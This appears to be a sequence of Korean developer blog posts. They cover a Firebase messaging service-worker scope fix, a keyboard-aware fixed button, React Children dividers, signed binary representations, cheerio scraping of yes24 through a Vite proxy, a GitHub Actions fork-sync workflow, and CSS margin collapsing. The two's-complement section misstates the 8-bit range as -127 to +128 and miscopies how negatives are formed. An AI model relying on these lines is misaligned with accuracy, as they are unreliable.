여기서 문제는 위 워커가 먼저 활성화되어있어야 getToken()을 통해 토큰이 정상적으로 가져와지는데, getToken()을 호출 했을때에만 저 워커가 설치-활성화된다는 그런 역설이...(?) (이게 과연 맞는 소리인지는 나도 모른다)

시도 1 ❌

기존 pwabuilder-sw.js의 내용들을 firebase-messaging-sw.js 로 합쳐서 먼저 실행해보기로 했다.

워커의 소스만 동일해질 뿐 에러 메시지는 그대로였다.

[워커 상태]

시도 2 ⭕️

그러면 service worker의 적용 범위를 맞춰보자. firebase-messaging-sw.js의 범위를 내가 바꿀 수는 없으니, pwabuilder-sw.js의 적용 범위를 바꿔보기로 했다.

if ("serviceWorker" in navigator) {

          let registration = await navigator.serviceWorker.getRegistration();
          if (!registration) {
            registration = await navigator.serviceWorker.register(
              "./pwabuilder-sw.js",
              { scope: "/firebase-cloud-messaging-push-scope" }, // 이 부분을 추가
            );
      }
}

같은 범위에서 워커 파일이 추가로 생성되다 보니 아까처럼 두개의 워커가 돌아가는게 아니라, 기존의 워커가 삭제되고 firebase-messaging-sw.js 에서 등록하는 워커로 업데이트(설치)되면서 토큰이 받아와진다!!! 와!!@!

혹시 기존의 pwa 관련 워커가 삭제되면서 제대로 동작하지 않는 부분이 생길까 했지만, 이미 백그라운드에 캐시된 내용과 firebase-messaging-sw.js 을 통해 등록된 워커의 내용이 달라서 그런지 큰 문제는 없는 것 같았다. (pwabuilder-sw.js에 오프라인일 경우 미리 준비한 html이 뜨도록 설정해두었는데, 활성화된 워커가 변경된 이후에도 잘 떴기에)

✏️ 주저리

이미 기존에 워커(pwabuilder-sw)가 이미 정상적으로 실행중이기에 새로 설치해야하는 워커(fcm-sw) 활성화되는 시간을 고려하지 않고 토큰을 받아오려 하는건가? 따라서 같은 범위에서 워커가 이미 실행중일 땐, 이를 완전히 대체하기 위해서라도 설치-활성화 단계를 더 기다려주는 것이고?

해결하기는 했지만 사실 아직 정확한 원인은 파악하지 못해서 다소 찜찜한 느낌이다. 하지만 관련 이슈도 아직 오픈되어 있는 이유가 있을 것... (편법이 싫어 따로 방법을 알아본 거지만, 이것도 편법일지도 모르겠다)

그래도 일단은 토큰을 잘 받아온 것에 만족하며,, 이후에 또 문제 생기면 적으러 와야겠다!

"하단에 고정된 버튼이 키보드가 올라오면 보이지 않아 불편해요"

라는 게 있었다. 디자이너분께서 강력하게 이 부분이 개선되었으면 한다고 말씀하셔서 한번 해볼게요를 당차게 외치고 나왔다.

💡 resize event란?

윈도우의 viewport의 변경을 감지하는 resize 이벤트라는게 있다. 내가 이미 구현해둔 하단 고정 버튼과 input을 통해 구체적으로 알아보기로 했다.

resize 이벤트 출력해보기

  useEffect(() => {
    const resizeHandler = (event: Event) => console.log(event);
    visualViewport && visualViewport.addEventListener("resize", resizeHandler);

    return () => visualViewport?.removeEventListener("resize", resizeHandler);
  }, []);

• input에 포커싱 되었을 때 == 키보드 올라오면서 사용자 viewport 높이가 감소
• resize event의 currentTarget의 height이 430.xxx이다

• input에 포커싱 해제 == 키보드가 내려가면서 사용자 viewport 높이 증가
• resize event의 currentTarget의 height이 704이다

🎯 구현하기

그러면? 기존 viewport의 높이에서 이 resize event에 담긴 변화한 viewport의 높이의 차이 만큼 버튼의 위치를 올려주면 되겠다!

• resize event에 감지된 viewport 높이 변화와 변치 않는 window.innerHeight 를 한 눈에 확인해보면 다음과 같다 (window.innerHeight 당첨)

  

• window.innerHeight의 값과 resize event에 담긴 viewport의 차이를 가지고 있는 상태 변수를 선언 후 버튼 스타일링 속성으로 부여해줬다

export const BottomFixedButton = () => {
  const [resizeHeight, setResizeHeight] = useState<number>(0);

  // event listener 연결
  useEffect(() => {
    const resizeHandler = (event: Event) => setResizeHeight(
        window.innerHeight - (event.currentTarget as VisualViewport)?.height,
      );
    visualViewport && visualViewport.addEventListener("resize", resizeHandler);

    return () => visualViewport?.removeEventListener("resize", resizeHandler);
  }, []);

  // calc를 활용해 값을 유동적으로 변경
  ...
  <Button
      style={{
             bottom: `calc(2.2rem + ${resizeHeight}px)`,
          }}
      >
      {children}
  </Button>
}

👀 결과

성공! 이제 실제 기기로 테스트 해봐야지,,,

📕 Reference

• MDN resize event

Children 활용하여 자식 사이에 Divider 추가

DropDownMenu내 각 메뉴들 사이에 구분선을 넣어야 한다. 내가 작성한 DropDownMenu 메뉴 구조는 다음과 같다.

// DropDownMenu 정의 부분
export const DropDownMenu = ({ children }: PropsWithChildren) => {
  return (
    <Container>{children}</Container>
  );
};

const MenuItem = ({
  children,
  ...props
}: ButtonHTMLAttributes<HTMLButtonElement>) => {
  return <MenuItemWrapper {...props}>{children}</MenuItemWrapper>;
};


DropDownMenu.MenuItem = MenuItem;

그리고 이를 참조하는 상위 컴포넌트에서는 DropDownMenu의 Item에 해당하는 버튼의 props를 정의해서 사용한다.

// DropDownMenu를 사용하는 상위 컴포넌트
<MypageListProfile>
  ...
  <DropDownMenu>
    <DropDownMenu.MenuItem onClick={() => signOut()}>로그아웃</DropDownMenu.MenuItem>
    <DropDownMenu.MenuItem onClick={() => withdrawal()}>회원탈퇴</DropDownMenu.MenuItem>
  </DropDownMenu>
  ...
</MypageListProfile>

일일이 상위 컴포넌트에서 divider 컴포넌트를 정의해서 사용하는 방식은 귀찮고, 이후에 divider에 대한 스타일 변경이 존재했을 때 일일이 바꿔줘야 하는 번거로움이 있어 DropDownMenu 내부에서 공통으로 처리해주는 게 낫다고 판단했다.

"0번째를 제외한 인덱스의 MenuItem 컴포넌트 위에 divider가 들어가면 된다" 라는 점을 이용하여 Children API 를 활용해보기로 했다.

Children은 우리에게 익숙한 children props로 넘어오는 jsx 컴포넌트들을 제대로 활용하기 위해 제공되는 api라고 한다 그동안 children props를 받아 원하는 곳에 바로 렌더링만 해봤는데, 이번 기회에 써보기로~

Children API

Children. 치면 나오는 함수들은 다음과 같다.

count / forEach / map / toArray 모두 익숙한 이름이다

• count는 자식 수를 세어 알려주는 함수
• forEach와 map은 자식을 조회해가며 작업을 할 수 있도록 하는 함수
• toArray는 자식 요소들에 필터링이나 정렬과 같은 작업을 취할 수 있도록 자식을 배열로 받는 함수

일 것이다! 맞네~

그렇다면 only는? 자식이 하나의 React Element만 가지는지를 확인하고 맞다면 해당 컴포넌트를, 그 외의 경우에는 Error를 반환하는 함수라고 한다.

이중에서 내가 사용할 건 map! 사용법은 간단하다. 첫번째 인자로 전달받은 자식 children props을 넣어주고, 두번째 인자로 Array.map(callback)의 callback 그대로 넣어주면 된다!

<>
    {Children.map(children, callback)}
</>

이제 이를 활용하여 구분선을 넣어보자. map의 callback은 조회하면서 원소 뿐 아니라 해당 원소의 인덱스와 기존 배열 정보도 함께 얻어올 수 있다. map(ele, (ele, idx, arr)=>{})

나는 자식의 인덱스를 활용하여, 첫번째를 제외한 컴포넌트 상단에 Divider 컴포넌트를 추가로 렌더링하도록 작성했다.!

export const DropDownMenu = ({ children }: PropsWithChildren) => {
  return (
    <Container>
      {Children.map(children, (child, i) => (
        <>
          {i !== 0 && <Divider />}
          {child}
        </>
      ))}
    </Container>
  );
};

해결!

참고

• 공식문서-Children

느낀점

사실 오늘 한 작업은 styled-components내 CSS 만으로도 충분히 구현할 수 있는 스타일링이었다. 참고)

/* DropDownMenu를 감싸고 있는 Container 내 */
& > button {
    border-top: 2px solid orange;
}
& > button:first-child {
    border: 0;
}

개인적으로 스타일링에 JS로 제어하기 보다 웬만하면 CSS로 구현하는게 좋다고도 생각하지만 Children API를 한번도 써본 적이 없어 작성해본 포스팅..! 이젠 children도 효율적으로 사용하고 싶을 때 잘 활용하면 좋을 것 같다

컴퓨터는 0과 1만으로 모든 수 연산을 해야하므로 최대한 효율적인 수 표현방식을 갖고자 한다.

2진수 정수를 표현하는 방법에는 다음과 같은 세가지 방법이 있다.

1) 부호화 절댓값
2) 1의 보수 3) 2의보수

1) 부호화 절댓값

최상단 비트(MSB)만으로 부호를 표현하는 방식. 양수는 MSB가 0, 음수는 1로 표현한다.

양수(+) 표현

0이 +0과 -0으로 나누어 표현된다 최상단 비트를 부호로 사용하기 때문에 7개의 비트만으로 수를 표현해야한다. 즉 표현할 수 있는 수는 -127~+127

2) 1의 보수

의미상으로는 1111 1111로 채워진 비트에서 해당 비트를 빼는 것에 가깝지만, 쉽게 말해 모든 비트를 반전함으로써 음수를 표현하는 방식 부호화 절댓값은 음수 표현시에 MSB만 반전시켰다면, 1의 보수는 모든 비트를 반전시키는데에 차이가 있다.

양수(+) 표현

음수(-) 표현 위의 양수의 비트를 모두 반전 시킨 값과 같다.

0이 +0과 -0으로 나누어 표현된다. 즉 표현할 수 있는 수는 -127~+127

3) 2의 보수

2의 보수체계에서 음수를 표현할 때 1의 보수에 1을 더하는 방식

1의 보수 == 모든 비트 반전, 2의 보수 == 모든 비트 반전 + 1

양수(+) 표현

음수(-) 표현 위의 양수의 비트를 모두 반전 시킨 값과 같다.

0이 0000 0000 (2) 하나로 표현된다.

앞서 언급한 부호화 절댓값, 1의 보수에서 0이
0000 0000 (2) 
1111 1111 (2)
이 두가지로 표현되던 방식과 달리, 
2의 보수에서는 1의 보수의 0 표현방식인 1111 1111에 1을 더한 
1 0000 0000(2)을 -0으로 사용하게 된다.
하지만 8비트만으로 수를 표현해야하는 상황이므로 넘어간 1은 버려버리고, 
0000 0000(2) 하나만으로 0을 표현할 수 있게 되는 것이다.

즉 표현할 수 있는 수는 -127~+128 지금까지 나온 방식 중에 가장 넓은 범위의 수를 표현할 수 있다. 따라서 컴퓨터는 음수를 표현할 때 이와 같은 2의 보수 개념을 사용하고 있다.

📄 배경

요즘 진행하는 새로운 프로젝트팀 기획자님께서 책의 출판사 서평을 가져올 수 있는지를 물어보셨다. 책 관련 open api 대부분은 출판사 서평까지는 제공하지는 않았다. yes24에 출판사 서평이 기재되어있는데, 간단한 웹 스크래핑으로 가져오면 되지 않을까 해서 찍먹해보기로 결정

다른 프로젝트 데모를 만들다가 만 상태의 vite 기반의 react 프로젝트 내용을 싹 비우고, 바로 구현!

🔍 발견

대부분 웹 크롤링/스크래핑 하면 파이썬으로 많이 진행하는데, 너무 거창해지는가 싶어 js로도 진행 후 바로 활용할 수 없는지 알아보았고 그러다 발견한 것이 다음의 두가지 도구였다.

• cheerio
• puppeteer

cheerio는 정적인 사이트 내에 정보들을 html 형태로 긁어와 원하는 정보만을 파싱할 수 있고, puppeteer는 테스트할 때에도 쓰이는 툴로, 우리가 원하는 결과에 도달하기 전까지 웹 사이트와 상호작용을 할 수 있도록 도와주는 도구이다. (puppeteer는 playwright와 유사한 듯)

시도 1) puppeteer 활용 ❌ - 실패

내가 지금 하고자 하는 시나리오는 다음과 같았다.

1. yes24 공식 페이지에 접속
2. 검색창에 알고자하는 책의 제목을 입력후
3. 검색 버튼 클릭
4. 나온 리스트의 결과 중 첫번째 게시글 클릭
5. 출판사 서평 부분을 스크랩

이 시나리오 대로 puppeteer를 활용하여 진행하다가 4번까지는 어찌저찌 해냈지만, 5번에서 어째선지 출판사의 서평부분의 selector를 제대로 가져오지 못하는 문제가 있었다. 분명히 inspector를 통해 몇번이고 확인도 해보고 각 액션간의 delay도 사이사이에 잘 넣어줬다고 생각했지만 제대로 가져올 수 없었고, 다른 방법을 찾아보기로 했다.

시도 2) cheerio 활용 ⭕️ - 성공

• 게시글 목록 -> 게시글 상세 페이지 (i want this✨)
• 게시글 상세 페이지는 게시글 id를 필요로 한다. (어디에서 얻을 수 있나? 게시글 목록에서!)
• then, 1) cheerio 활용 ➡️ 게시글 목록 접근하기 + 게시글 id 가져오기 2) cheerio 활용 ➡️ 게시글 id를 토대로 상세 페이지 재접근 + 출판사 서평 가져오기

최종 목표는 내가 검색한 책의 게시글 상세 페이지(출판사 서평이 있는)에 접근하는 것이다. yes24에서 검색어 입력시 나오는 리스트에서 각 상품 item들은 id를 가지고 있어, 클릭하게 되면 path variable로 id를 함께 넘기며 상세 페이지의 내용을 렌더링한다. 따라서 상세 페이지의 url을 확인해보면 상품의 id를 확인할 수 있다.

e.g. https://m.yes24.com/Goods/Detail/2943352 // 뒤의 2943352가 '소원을 들어주는 카드'라는 책의 id

따라서 검색목록으로 부터 이 아이디를 얻어와야한다. cheerio는 앞서 언급했듯이 url로 접근한 정적 페이지의 html을 끌어오는 것으로, 책제목을 타이핑하는 상호작용을 할 수 없어 바로 검색결과 url을 가져와야한다. 검색의 경우 queryString으로 넘겨주는 모습이다.

e.g. https://www.yes24.com/Product/Search?domain=ALL&query=%EC%86%8C%EC%9B%90%EC%9D%84%20%EB%93%A4%EC%96%B4%EC%A3%BC%EB%8A%94%20%EC%B9%B4%EB%93%9C // 위의 query= 이후의 값은 책의 제목의 URL 인코딩 값

yes24의 경우 정확도보다 인기순으로 책을 추천하여 내가 입력한 책과 다른 책이 상위에 뜨기도 한다. 도서로 카테고리를 한정하고 정확도를 높이기 위해 도서명과 정확도순 필터링의 값도 함께 넘겨주기로 했다!

e.g. https://www.yes24.com/Product/Search?domain=ALL&query=%EC%86%8C%EC%9B%90%EC%9D%84%20%EB%93%A4%EC%96%B4%EC%A3%BC%EB%8A%94%20%EC%B9%B4%EB%93%9C&page=1&order=RELATION&_searchTarget=TITLE // &로 연결된 키(order, _searchTarget)들은 필터링 키

🎯 구현

내가 작성할 데모 프로젝트의 디렉토리 구조는 다음과 같다. 빠르게 제작하기 위해src 에 모든 파일 작성했다

📦 scraping-demo
├─ src
│  ├─ App.css
│  ├─ App.tsx
│  ├─ SearchForm.tsx     // 추가
│  ├─ api.ts            // 추가
│  ├─ index.css
│  ├─ main.tsx
│  └─ vite-env.d.ts
├─ tsconfig.json
├─ tsconfig.node.json
└─ vite.config.ts      // 변경

<br />

1) **`SearchForm.tsx`제작**
SearchForm 컴포넌트는 간단하게 출판사 서평을 얻어올 책의 제목을 입력 받는다. 
제목 입력 후 enter를 치거나 Search 버튼을 클릭하면, 부모로부터 받은 getData 함수를 실행한다.

```tsx
// SearchForm.tsx
import { useState, KeyboardEvent, ChangeEvent } from "react";

// 키워드를 입력받는 컴포넌트
const SearchForm = (props: { getData: any }) => {
  const { getData } = props;
  const [keyword, setKeyword] = useState("");
  return (
    <div className="form">
      <input
        type="text"
        className="form-text"
        onChange={(e: ChangeEvent<HTMLInputElement>) => {
          setKeyword(e.target.value);
        }}
        onKeyDown={(e: KeyboardEvent<HTMLInputElement>) => {
          if (e.key === "Enter") {
            if (keyword) {
              getData(keyword);
            }
          }
        }}
      />
      <button
        type="button"
        className="form-btn"
        onClick={() => {
          if (keyword) {
            getData(keyword);
          }
        }}
      >
        search
      </button>
    </div>
  );
};

export default SearchForm;

2) App.tsx 작성 App 컴포넌트에는 책의 정보가 담긴 페이지에 접근하여 화면에 렌더링하는 역할을 부여했다. axios의 get 요청은 응답으로 data 속성에는 해당 페이지(.html)이 문자열의 형태로 전달된다.

GET response type

{ config: ...,
data: "\r\n\r\n\r\n\r\n\r\n\t<!DOCTYPE html >\r\n\t\<html lang=\"ko\">\r\n\r\n<head>\r\n\t<meta http-eq.../></html>", ... }`

cheerio에서 제공하는 load 함수를 활용해 이 문자열을 html 구조에 맞게 파싱을 하여 원하는 정보만을 추출할 수 있다

selector로 가져온 html 요소에서 값 추출 .text() : 해당 요소에 담긴 텍스트 추출 .attr([속성명:string]) : 해당 요소의 속성의 값 추출

// App.tsx
import { useState } from "react";
import { request } from "./api";    // yes24로 get 요청 함수
import { load } from "cheerio";
import SearchForm from "./SearchForm";
import "./App.css";

const App = () => {
  const [book, setBook] = useState({
    title: "",
    author: "",
    publisher: "",
    content: "",
  });

  // 책의 정보가 담긴 페이지 api 요청 및 저장 로직
  const getData = async (keyword: string) => {
    // 1) 책 이름 검색 결과 페이지 요청
    request(
      `Product/Search?domain=ALL&query=${encodeURI(
        keyword
      )}&order=RELATION&_searchTarget=TITLE`
    )
    // 2) 원하는 책의 상세 페이지로 이동하기 위한 링크 획득
      .then((html: any) => {
        const $ = load(html.data);
        const bookSelector = $("ul#yesSchList > li:first a.gd_name");
        const data = {
          bookTitle: bookSelector.text(),
          bookUrl: bookSelector.attr("href"),
        };
        setBook((prev: any) => ({ ...prev, title: data.bookTitle }));
        return data;
      })
    // 3) 위에서 얻은 상세 페이지 url로 재요청 후 상세 정보 획득
      .then((data: any) => {
        request(data.bookUrl).then((html: any) => {
          const $ = load(html.data);
          const data = {
            author: $("span.gd_auth").text(),
            publisher: $("span.gd_pub").text(),
            content: $(
              "div#infoset_pubReivew > div.infoSetCont_wrap > div.infoWrap_txt"
            ).text(),
          };
          setBook((prev: any) => ({
            ...prev,
            author: data.author,
            publisher: data.publisher,
            content: data.content ? data.content : "출판사 서평이 없습니다",
          }));
        });
      });
  };

  return (
    <div className="app">
      <SearchForm getData={getData} />
      <div className="alert-txt">
        제목을 잘못 입력했을 경우
        <br /> 가장 상단에 노출되는 책의 제목과 서평을 보여줍니다.
      </div>
      <h2 className="book-title">{book.title}</h2>
      <span>{book.author}</span>
      <span>{book.publisher}</span>
      <p className="book-review">{book.content}</p>
    </div>
  );
};
export default App;

3) api.tsx 작성 및 CORS 에러 방지 app에서 사용한 yes24로 요청하기 위한 GET 요청 api가 담긴 api.tsx를 작성한다.

// api.tsx
import axios from "axios";

const request = async (path: string) => {
  try {
    return await axios.get(`https://www.yes24.com/${path}`);
  } catch (error) {
    console.error(error);
  }
};

export { request };

하지만 단순히 위와 같이 작성했다가 CORS 에러를 만났다ㅠ 이를 해결하기 위해 프록시 설정을 해주기로 했다

// vite.config.ts
import { defineConfig } from "vite";
import react from "@vitejs/plugin-react";

export default defineConfig({
  plugins: [react()],
  server: {
    proxy: {
      // 브라우저에서 /api로 요청이 들어오면,
      "/api": {    
        target: "https://www.yes24.com/",  // target url을 yes24로 변경하고,
        changeOrigin: true,  // target과 같은 도메인의 요청인 것처럼 
        rewrite: (path) => path.replace(/^\/api/, ""),    // target url로 요청시 /api 문자열은 제거 
      },
    },
  },
});

이후 다시 api.tsx의 request 함수의 요청 url을 수정해주면 진짜 끝!

...
const request = async (path: string) => {
  try {
    return await axios.get(`/api/${path}`);
  } catch (error) {
    console.error(error);
  }
};
...

👀 결과

책의 제목을 작성하면 하단에 책의 저자와 출판사, yes24에 기재된 서평까지 긁어올 수 있다!

🗣️ 궁시렁

📕 참고

• [Express] Puppeteer, React, Express를 활용해 크롤러 만들기 및 Heroku에 배포하기
• Vite & axios CORS 해결하기
• Vercel에서 proxy 설정하기
• Vite 개발 환경에서 Proxy를 사용한 CORS 회피

✨ 나의 첫 Github action 활용기

⚙️ Github Action

Github action 은 CI/CD를 자동화시켜주는 Github에서 제공하는 자동화 도구이다.

하나의 변경 사항이 생겼을 경우, 이를 merge 할 때마다 빌드-테스트의 과정을 거쳐 배포까지 거치는 과정은 수 백개의 커밋을 쌓는 개발자에게는 꽤나 귀찮은 작업일 것이다.... Github action은 이 중요하지만 귀찮은 과정들을 자동화 시켜줄 수 있다!

+) 각 워크 플로우는 .yml 혹은 .yaml 확장자를 가진 파일에 작성된다. +) .github/workflows/ 에 action 파일을 올리면 Github이 자동으로 인식한다.

🗒️ 배경

주로 토이 프로젝트의 프론트엔드를 배포할 땐, 간편한 Netlify나 Vercel을 주로 활용할 것이다. 이런 배포 사이트에서는 개인 프로젝트는 무료지만 팀 프로젝트들은 대부분이 유료다ㅠㅠ

이런 토이 프로젝트들을 일일이 유료로 진행하기에는 부담이 너무 크기에, 팀 레포에서 작업하고, 이를 개인 레포로 fork해와서 배포하는 형태로 진행..!

하지만 팀레포에 변경사항이 적용될 때마다 개인 브랜치를 최신화하기 너무 귀찮지 아니한가. 심지어 배포 담당인 내가 최신화하지 않으면 다른 팀원들은 변경사항을 확인해볼 수도 없다 😩

따라서 Github action으로 팀 레포의 main 브랜치에 새로운 커밋이 발생할 때마다( push ) 개인 레포로 자동으로 최신화할 수 있는 workflow를 작성해보자

💥 Let's go

1️⃣ 개인 토큰 발급받기

2021년 8월 13일자로 Github에서는 더이상 비밀번호가 아닌 토큰으로 인증을 한다고 한다. 따라서 나임을 증명하여 개인 레포로 푸쉬할 수 있는 권한을 가진 개인 토큰 (PAT, Personal Access Token)을 발급 받아야 한다.

** << Github PAT 발급 >> ** > Github에서 로그인 후 우측 상단의 프로필 아이콘 클릭 > ⚙️ Settings 클릭 > 좌측 메뉴 최하단에 <> Developer Settings 클릭 > Personal access tokens 펼쳐서 Tokens (classic) 클릭 > Generate new token (classic) 클릭 > Note와 Expiration은 알아서 작성하고,    Select scopes 중에 repo와 workflow 선택   ⭐️중요⭐️ > Generate Token

✅ 토큰 생성시 고려할 각 항목

• Note는 본인이 토큰에 부여할 이름,
• Expiration은 토큰 만료 기한,
• Select scopes는 해당 토큰에 줄 권한

✅ 생성된 토큰은 초기 한번만 보여주므로 반드시 메모장에 기록하기

2️⃣ 팀레포에 개인 토큰 등록하기

Github action 파일에 개인 레포로 변경사항을 push할 수 있도록 하려면 위에서 발급 받은 개인 토큰을 함께 보내 내 레포에 push할 권한을 받은 사람임을 증명해야한다!

이때 개인 토큰을 하드코딩해서 Github에 올린다면... 세상 모든 사람들이 권한이 있는 척 내 레포에 여러 짓들을 할 수도 있다...👀

따라서 Github만 내 토큰을 읽을 수 있도록 레포의 Secret 변수로 등록을 해야한다. 나는 FORKED_REPO_TOKEN이라는 이름으로 등록했다.

** << 팀 레포에 PAT 등록 >> ** > 팀 레포의 ⚙️ Settings 클릭 > ⊞ Secrets and variables를 펼쳐 Actions 클릭 > New repository secret 클릭 > Name에는 .yml 파일에서 사용할 이름, Value에는 아까 발급받은 PAT 작성 > Add Secret 클릭

3️⃣ workflow 작성하기

워크플로우는 간단히 말하자면 다음과 같다.     1) 팀 레포의 main 브랜치의 변경사항 가져오기 (main 브랜치에 checkout)     2) 개인 레포에 이 변경사항 push

아래와 같은 내용의 workflow 파일을 .github/workflows/에 저장한다. 이때 [깃헙이름]과 [깃헙이메일]은 fork를 진행한 사람 기준으로 작성하면 된다.

name: Synchronize to forked repo
on:
  push:
    branches:
      - main

jobs:
  sync:
    name: Sync forked repo
    runs-on: ubuntu-latest

    steps:
      - name: Checkout main
        uses: actions/checkout@v4
        with: 
          token: ${{ secrets.FORKED_REPO_TOKEN }}
          fetch-depth: 0
          ref: main

      - name: Add remote-url
        run: |
          git remote add forked-repo https://[깃헙이름]:${{ secrets.FORKED_REPO_TOKEN }}@github.com/[깃헙이름]/[개인 레포지토리명]
          git config user.name [깃헙 이름]
          git config user.email [깃헙 이메일]

      - name: Push changes to forked-repo 
        run: |
          git push -f forked-repo main

      - name: Clean up
        run: |
          git remote remove forked-repo

정말 단순해 보이지만,...69번의 커밋 끝에 완성한 코드이다.

위의 파일을 부분별로 나누어 간단하게 분석해보자면

name: Synchronize to forked repo
on:
  push:
    branches:
      - main

name에는 워크플로우가 실행 될 때 보일 이름이다. on은 특정 이벤트에 이 워크플로우를 트리거할 수 있도록 지정해주는 것이며, 여기서는 main 브랜치에 푸시가 발생할 때마다 이 workflow가 동작하도록 하였다.

jobs:
  sync:
    name: Sync forked repo
    runs-on: ubuntu-latest

Github action의 워크플로우는 여러개의 job들로 구성될 수 있다. 여기서는 sync라는 아이디의 job만 수행하며 가장 일반적인 우분투 환경으로 action을 수행한다.

+) 여러개 등록되는 job들은 병렬적으로 이루어지며, 각 job들의 순서를 지정하고 싶다면 job id 보다 한단계 깊은 depth에 needs 키워드로 다른 job의 id를 지정해주면 된다.

jobs:
  job1:
  job2:
    needs: job1
  job3:
    needs: [job1, job2]

steps:
  - name: Checkout main
    uses: actions/checkout@v4
    with: 
      token: ${{ secrets.FORKED_REPO_TOKEN }}
      fetch-depth: 0
      ref: main

각 step들은 다른 사람들이 미리 만들어둔 step들을 가져다가 사용하거나 (uses) 혹은 내가 직접 수행할 코드를 작성할 수도 있다(run) 그중에 가장 대표적으로 우리의 팀 레포의 코드를 가져오는 checkout 작업은 미리 만들어져 있으므로 uses를 통해 메인 브랜치에 체크아웃 한다.

with 키워드를 통해 해당 checkout에 사용할 변수들을 함께 넣어줄 수 있는데, 핵심 포인트는 이때 위의 PAT를 함께 삽입하는 것이다. 바로 이게 내가 빙빙 돌아가게 된 원인이었다ㅠㅠ

Github은 workflow를 수행하고 내부 레포에 접근하기 위해 자동으로 GITHUB_TOKEN을 생성한다. (실제 yml 파일 내부에서 secrets.GITHUB_TOKEN으로 접근 가능) 이 첫번째 step인 checkout은 default로 이 토큰을 사용하는데, 이 토큰은 내부 레포에 대한 접근 권한만을 가지고 있어 외부 레포로 접근이 허용되지 않는다. 뒤에 코드를 봐도 알겠지만 remote-url에 토큰을 함께 등록을 해도 권한이 없다는 에러가 뜬다. 따라서 개인 레포 접근 권한을 가지고 있는 PAT를 함께 넘겨주어야 한다.

- name: Add remote-url
     run: |
       git remote add forked-repo https://[깃헙이름]:${{ secrets.FORKED_REPO_TOKEN }}@github.com/[깃헙이름]/[개인 레포지토리명]
       git config user.name [깃헙 이름]
       git config user.email [깃헙 이메일]

   - name: Push changes to forked-repo 
     run: |
       git push -f forked-repo main

   - name: Clean up
     run: |
       git remote remove forked-repo

remote-url에 PAT를 포함하여 개인 레포를 등록 해주고, 현재 체크아웃되어있는 main 브랜치의 내용을 개인 레포에 강제로 push한다. 이후 개인 레포를 remote-url에서 삭제해주는 후처리 과정까지 거치면 끝!

✏️ 주저리

PAT를 checkout할 때 안 넣어줬다는 이유로 얼마나 돌아온건지... 가장 처음에는 GitHub Organization 프로젝트를 vercel 무료로 연동하기 (+git actions) 라는 좋은 글을 써주신 분의 액션 코드를 따라하려 하였다. 이 분께서는 개인 레포로 강제로 push하는 액션을 사용한 방법이었고, 이에 다른 팀원분께서 깃 트리를 같게 가져가면서 변경사항을 반영할 수는 없을지 고민해보자고 하셨다.

처음에는 "같은 커밋해시로 push한다", "Git tree를 같게 한다" 는 팀원의 말이 잘 이해가 가지 않았고, 덕분에 Git의 구조를 다시 한번 공부하게 되는 좋은 계기가 되었다.

Git은 각 상태들을 스냅샷을 해시값으로 구분하고(commit), 이들을 연결하여 하나의 거대한 tree를 구성하는데 이게 history, 즉 Git tree가 되는 것이다. Git의 각 커밋들은 이 트리를 구성하기 위해 모든 커밋은 부모 커밋의 포인터를 함께 가지고 있다. 위 링크에서는 서로 다른 부모를 가리키던 커밋을 강제로 연결하는 것이기 때문에 Orgin repo와 forked repo는 서로 다른 커밋 해시를 갖게 된다. 하지만 이 방법의 경우 개인 레포를 remote url에 등록하여 커밋 내역을 가져와 Origin repo의 최근 변경사항의 커밋으로 자연스럽게 연결하므로 동일한 Git tree를 갖게 된다.

과정이 잘 이해가 안갔던 첫 시도로는 무작정 두 레포의 변경 사항을 merge 해서, 양 레포에 다시 push하면 되나? 싶었다. 하지만 체크아웃시에 토큰을 넣어주지 않으니 merge 할 수 없다는 에러가 떴다... 덕분에 서로 다른 레포끼리 병합시 사용할 수 있는 --allow-unrelated-histories 라는 git merge 옵션도 알게 되었지만 이후엔 Merge conflict가 발생한다는 에러로 이어졌다. 팀 레포 기준으로 해야하니까 충돌이 발생한다면 우리 레포로 지정해주는 -Xours라는 옵션까지 하나 더 배워갈 수 있었다.. Git 지식 수준 +1

하지만 이후에 굳이 팀레포에까지 push하거나 merge 할 필요는 없을 것 같다는 피드백을 받고 다시 돌고돌아 완성하였다. 고생했다 나!

늦은 시간까지 함께 고민해주고 코드도 깔끔하게 정리해주신 감자님께 감사의 인사를 드린다!

📕 참고자료

[Github action 공식 문서] https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idneeds

[Github action에서 다른 레포에 접근하려면] https://stackoverflow.com/questions/71068476/accessing-another-repository-with-github-cli-in-github-actions

CSS 박스모델

기본적으로 DOM을 감싸는 CSS의 모든 요소들은 박스 형태로 존재한다. 바깥쪽 여백(margin)-테두리(border)-안쪽 여백(padding)으로 구성된다.

크롬 브라우저의 개발자 도구를 열면 바로 보이는 Elements 탭 하단에서 각 요소의 margin /border / padding을 한눈에 확인할 수 있다.

그래서 여백 상쇄란?

위 박스 모델에서 바깥쪽 여백에 해당하는 margin과 관련이 있다. margin을 가진 두개의 요소끼리 붙어있을 경우 양쪽의 margin이 모두 적용되는 것이 아닌 더 큰 쪽의 여백만 적용되는 현상이다. 여백을 가진 모든 요소들을 표현할 경우 웹 페이지가 무분별하게 커지는 것을 방지한 CSS의 필수 속성이다. 이 여백 상쇄는 수직 관계에서만 발생한다.

예를 들어 다음과 같은 html 파일과 css 파일이 존재한다고 치자.

<!-- index.html 중 -->
  <body>
    <h1>Heading</h1>
    <div>Div</div>
  </body>

/* main.css */
h1 {
  margin: 20px;
  background-color: beige;
}
div {
  margin: 15px;
  background-color: brown;
  color: white;
}

얻게 되는 화면은 다음과 같다.

이를 개발자 도구로 각 요소의 box를 확인해보면?

두개의 여백이 일부 겹쳐 있는 모습을 확인할 수 있다. 더 큰 margin을 갖는 h1의 여백 20px이 적용되었다. 이렇게 여백이 상쇄되는 경우 세가지를 알아보자!

CASE 1. 인접 형제

바로 위에서 말한 예제와 같은 경우로 인접해 있는 두 개의 요소가 각각 margin을 가질 경우이다. 이 경우 두 요소 간의 거리는 더 큰 margin으로 설정되며 가장 많이 보이는 경우이다.

CASE 2. margin이 설정된 자식요소를 가진 부모 요소

자식 중에 margin을 가진 부모 요소의 경우 첫번째 자식의 margin-top과 마지막 자식의 margin-bottom의 속성이 상쇄된다. 다음의 예시를 보자.

<!-- index.html -->
  <body>
    <div id="list">
        <div>
            <h1>Child1</h1>
            <p>Descriptions</p>
        </div>
        <div>
            <h1>Child2</h1>
            <p>Descriptions</p>
        </div>
        <div>
            <h1>Child3</h1>
            <p>Descriptions</p>
        </div>
    </div>
  </body>

/* main.css */
#list {
  background-color: skyblue;
}

#list div {
  margin: 20px;
  background-color: beige;
  border: 1px black solid;
}

